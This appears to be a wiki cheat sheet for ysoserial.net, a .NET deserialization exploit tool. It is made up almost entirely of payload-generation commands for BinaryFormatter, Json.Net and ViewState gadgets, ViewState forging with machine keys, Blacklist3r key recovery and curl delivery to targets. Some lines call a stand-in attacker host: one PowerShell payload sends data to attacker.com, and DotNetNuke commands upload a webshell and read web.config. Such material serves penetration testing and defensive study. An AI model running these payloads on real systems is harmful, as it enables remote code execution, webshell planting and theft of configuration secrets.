ysoserial.net Wiki

                      ┌────────────────────────────────────────┐
                      │      Vulnerable .NET Application       │
                      │  Formatter.Deserialize(untrusted_data) │
                      └───────────────────┬────────────────────┘
                                          │
                     Deserializes attacker-controlled bytes
                                          │
              ┌───────────────────────────┼───────────────────────────┐
              │                           │                           │
       BinaryFormatter              ObjectStateFormatter        Json.NET (with
       .Deserialize()               (ASP.NET ViewState)         TypeNameHandling
              │                           │                     enabled)
              │                           │                           │
       Type instantiated           MAC-validated, then           $type property
       via reflection              formatter-deserialized        drives arbitrary
       based on embedded           object graph                  type instantiation
       type metadata                      │                           │
              └───────────────────────────┼───────────────────────────┘
                                          │
                     Chain terminates in a "sink":
        Delegate.Invoke() / Process.Start() / XAML LoadXaml() / ObjectDataProvider.MethodName
                                          │
                                    Command Execution

# Install prerequisites via Chocolatey
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))

choco install visualstudio2022community --yes
choco install visualstudio2022-workload-nativedesktop --yes
choco install msbuild.communitytasks --yes
choco install nuget.commandline --yes
choco install git --yes

# Clone and build
git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net
nuget restore ysoserial.sln
msbuild ysoserial.sln -p:Configuration=Release

# Binary output
.\ysoserial\bin\Release\ysoserial.exe -h

# GitHub releases page ships pre-compiled binaries
# https://github.com/pwntester/ysoserial.net/releases

master  -> targets .NET Framework 4.5+ (modern ViewState generator algorithm, newer gadgets)
v2      -> targets .NET Framework 3.5/4.0 (legacy ViewState generator, use --islegacy)

# General syntax
ysoserial.exe -f <formatter> -g <gadget> -o <raw|base64> -c "<command>"

# List all formatters, gadgets, and plugins
ysoserial.exe --fullhelp

# Basic BinaryFormatter + TypeConfuseDelegate payload
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64

# Save raw bytes to file
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o raw > payload.bin

# Test payload execution locally before sending to target (sandbox-safe check)
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" --test

# List gadgets compatible with a specific formatter
ysoserial.exe --fullhelp

# Example: Json.Net payload using ObjectDataProvider (works when TypeNameHandling is enabled)
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t '{
  "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName":"Start",
  "MethodParameters":{
    "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "$values":["cmd","/ccalc"]
  },
  "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}'

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64

ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o raw
ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "calc" -o raw

# Base gadget
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelector -c "calc.exe" -o base64

# Bypasses .NET 4.8+ hardening that disabled ActivitySurrogateSelector by default
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -c "calc.exe" -o base64

# Variant that loads payload from a file reference instead of embedding it inline
ysoserial.exe -f SoapFormatter -g ActivitySurrogateSelectorFromFile -c "calc.exe" -o base64

ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "calc.exe" -o base64

# PSObject — requires target unpatched for CVE-2017-8565 (July 2017)
ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc"

# WindowsIdentity / WindowsClaimsIdentity — identity-model based gadgets
ysoserial.exe -f Json.Net -g WindowsIdentity -c "calc" -o raw

# DataSet / DataSetOldBehaviour / DataSetTypeSpoof — abuse System.Data.DataSet deserialization quirks
ysoserial.exe -f Json.Net -g DataSet -c "calc" -o raw

# ClaimsPrincipal / ClaimsIdentity — WIF (Windows Identity Foundation) chains
ysoserial.exe -f Json.Net -g ClaimsPrincipal -c "calc" -o raw

# RolePrincipal / SessionSecurityToken — bridge gadgets, often paired with plugin-based delivery
ysoserial.exe -f DataContractSerializer -g RolePrincipal -c "calc" -o raw

# AxHostState — ActiveX control state abuse
ysoserial.exe -f BinaryFormatter -g AxHostState -c "calc" -o base64

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \
  --validationalg="SHA1" --validationkey="<key>" --generator="<gen_id>"

# Generate a .resx payload (BinaryFormatter, TypeConfuseDelegate internally)
ysoserial.exe -p Resx -M BinaryFormatter -c "calc.exe" -o payload.resx

# Compile to .resources for CVE-2020-0932-style delivery
resgen.exe payload.resx

# altserialization — HttpStaticObjectsCollection or SessionStateItemCollection payloads
ysoserial.exe -p altserialization -c "calc.exe"

# ApplicationTrust — XML payload for System.Security.Policy.ApplicationTrust (uses TypeConfuseDelegate internally)
ysoserial.exe -p ApplicationTrust -c "calc.exe"

# Clipboard — generates a DataObject payload and copies it directly to the clipboard
# (useful for paste-triggered deserialization in vulnerable desktop apps)
ysoserial.exe -p Clipboard -c "calc.exe"

# DotNetNuke — targets CVE-2017-9822 (DNN Cookie deserialization RCE)
ysoserial.exe -p DotNetNuke -m run_command -c "whoami"
ysoserial.exe -p DotNetNuke -m read_file -f "C:\web.config"
ysoserial.exe -p DotNetNuke -m upload_file -u "http://attacker/shell.aspx" -f "shell.aspx"

# SessionSecurityTokenHandler — XML payload for WIF SessionSecurityToken (requires DPAPI, narrow applicability)
ysoserial.exe -p SessionSecurityTokenHandler -c "calc.exe"

# TransactionManagerReenlist — abuses System.Transactions re-enlistment callback
ysoserial.exe -p TransactionManagerReenlist -c "calc.exe"

BinaryFormatter (base64-encoded):    AAEAAAD/////  (common header, "MS .NET Remoting Binary Format")
LosFormatter / ViewState (unencrypted): /wEP...       ("__VIEWSTATE" typical prefix)
SoapFormatter:                        <SOAP-ENV:Envelope ...  (raw XML)
Json.Net with TypeNameHandling:       "$type":"Namespace.Class, Assembly" present in JSON body

# Quick check: does an unencrypted-looking ViewState decode to expected magic?
# /wEP prefix suggests unencrypted LosFormatter-based ViewState — worth testing directly

Send a short random base64 string as __VIEWSTATE.
- Error response mentioning "MAC validation" -> MAC IS enforced, need keys
- Generic/different error or page loads -> MAC may be disabled, test direct injection

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" \
  --path="/somepath/testaspx/test.aspx" \
  --apppath="/testaspx/" \
  --decryptionalg="AES" \
  --decryptionkey="<decryptionKey_from_web.config>" \
  --validationalg="HMACSHA256" \
  --validationkey="<validationKey_from_web.config>"

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" \
  --apppath="/testaspx/" \
  --islegacy \
  --validationalg="SHA1" \
  --validationkey="<validationKey>" \
  --isdebug

# __VIEWSTATEGENERATOR is often present as its own hidden field in the target's response —
# use it directly instead of reconstructing path/apppath by hand
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" \
  --generator="CA0B0334" \
  --validationalg="SHA1" \
  --validationkey="<validationKey>"

# Blacklist3r — checks a captured __VIEWSTATE against a database of known/leaked MachineKeys
# https://github.com/NotSoSecure/Blacklist3r
AspDotNetWrapper.exe --keypath MachineKeys.txt \
  --encrypteddata "<__VIEWSTATE_value>" \
  --purpose=viewstate --valalgo=sha1 --decalgo=aes \
  --modifier="<__VIEWSTATEGENERATOR_value>" \
  --macdecode --legacy

# Python-based equivalent (blacklist3r.py from PayloadsAllTheThings ecosystem)
python examples/blacklist3r.py --viewstate "<b64_viewstate>" --generator "<generator_id>"

# BinaryFormatter payload via HTTP POST body (raw binary)
curl -X POST --data-binary "@payload.bin" http://target/endpoint

# Base64 payload in a cookie
curl http://target/ -H "SessionData: $(cat payload_b64.txt)"

# ViewState delivery — replace the captured __VIEWSTATE field in an intercepted POST
curl -X POST http://target/page.aspx \
  --data-urlencode "__VIEWSTATE=<forged_viewstate_b64>" \
  --data-urlencode "__EVENTVALIDATION=<original_captured_value>"

# Best practice: intercept a legitimate request in Burp Repeater and swap only the
# __VIEWSTATE value in place — preserves other required form/session state and avoids
# CSRF-adjacent validation failures unrelated to the deserialization itself.

# Base64 output directly from ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64

# Raw bytes, then base64-encode separately if needed
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o raw > payload.bin

# URL-encode a ViewState payload for form submission (PowerShell)
Add-Type -AssemblyName System.Web
[System.Web.HttpUtility]::UrlEncode((Get-Content payload_b64.txt))

# URL-encode on Linux/attack box
python3 -c "import sys, urllib.parse; print(urllib.parse.quote(open('payload_b64.txt').read()))"

# Generate a payload targeting a .NET Remoting TCP channel
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o raw > remoting_payload.bin

# Deliver via a raw TCP connection to the remoting port (commonly custom, check via nmap/banner grab)
# Delivery framing depends on the specific remoting channel implementation —
# tools like ExploitRemotingService or a custom .NET remoting client are often needed
# to correctly wrap the payload in the expected remoting message envelope.

# Step 1: Capture a legitimate request/response containing __VIEWSTATE and __VIEWSTATEGENERATOR
# Step 2: Confirm .NET Framework version and MAC/encryption config from response headers/errors

# Step 3: Generate the forged ViewState payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami > C:\inetpub\wwwroot\out.txt" \
  --generator="CA0B0334" \
  --validationalg="SHA1" \
  --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

# Step 4: Intercept a real POST to the target page in Burp Repeater
# Step 5: Replace __VIEWSTATE with the forged value; remove __VIEWSTATEENCRYPTED if present
# Step 6: Send, then verify command execution (retrieve out.txt via LFI/webshell/OOB callback)

# Step 1: Capture __VIEWSTATE and __VIEWSTATEGENERATOR from the target
# Step 2: Check against known/leaked MachineKey databases
python examples/blacklist3r.py --viewstate "<captured_b64>" --generator "<generator_id>"

# Step 3: If a match is found, feed the recovered key straight into ysoserial.net
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" \
  --generator="<generator_id>" \
  --validationalg="<matched_alg>" \
  --validationkey="<matched_key>"

# Step 4: Deliver as above

# Step 1: Probe the API — send a harmless $type-annotated object and observe behavior
# {"$type":"System.String, mscorlib","value":"test"}

# Step 2: If the app processes $type without error, generate an ObjectDataProvider payload
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "whoami" -t '{
  "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName":"Start",
  "MethodParameters":{
    "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "$values":["cmd","/c whoami > C:\\out.txt"]
  },
  "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}'

# Step 3: Submit as the API's normal JSON body in place of the legitimate object
curl -X POST http://target/api/endpoint -H "Content-Type: application/json" -d @payload.json

git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net
nuget restore ysoserial.sln
msbuild ysoserial.sln -p:Configuration=Release
# binary: .\ysoserial\bin\Release\ysoserial.exe

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelector -c "calc.exe" -o base64        # older targets
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -c "calc.exe" -o base64 # .NET 4.8+ targets
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o raw                              # JSON APIs

# .NET Framework >= 4.5, MAC + encryption enabled
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \
  --path="/site/page.aspx" --apppath="/site/" \
  --decryptionalg="AES" --decryptionkey="<decKey>" \
  --validationalg="HMACSHA256" --validationkey="<valKey>"

# .NET Framework <= 4.0, legacy
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
  --apppath="/site/" --islegacy \
  --validationalg="SHA1" --validationkey="<valKey>" --isdebug

# Using known __VIEWSTATEGENERATOR directly
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \
  --generator="<gen_id>" --validationalg="SHA1" --validationkey="<valKey>"

ysoserial.exe -p DotNetNuke -m run_command -c "whoami"
ysoserial.exe -p DotNetNuke -m read_file -f "C:\web.config"
ysoserial.exe -p DotNetNuke -m upload_file -u "http://attacker/shell.aspx" -f "shell.aspx"

python examples/blacklist3r.py --viewstate "<b64_viewstate>" --generator "<generator_id>" -M MachineKeys.txt

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64   # base64 direct

python3 -c "import sys,urllib.parse;print(urllib.parse.quote(open('p.txt').read()))"  # url-encode

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" --test

BinaryFormatter base64:  starts with AAEAAAD/////
Unencrypted ViewState:   starts with /wEP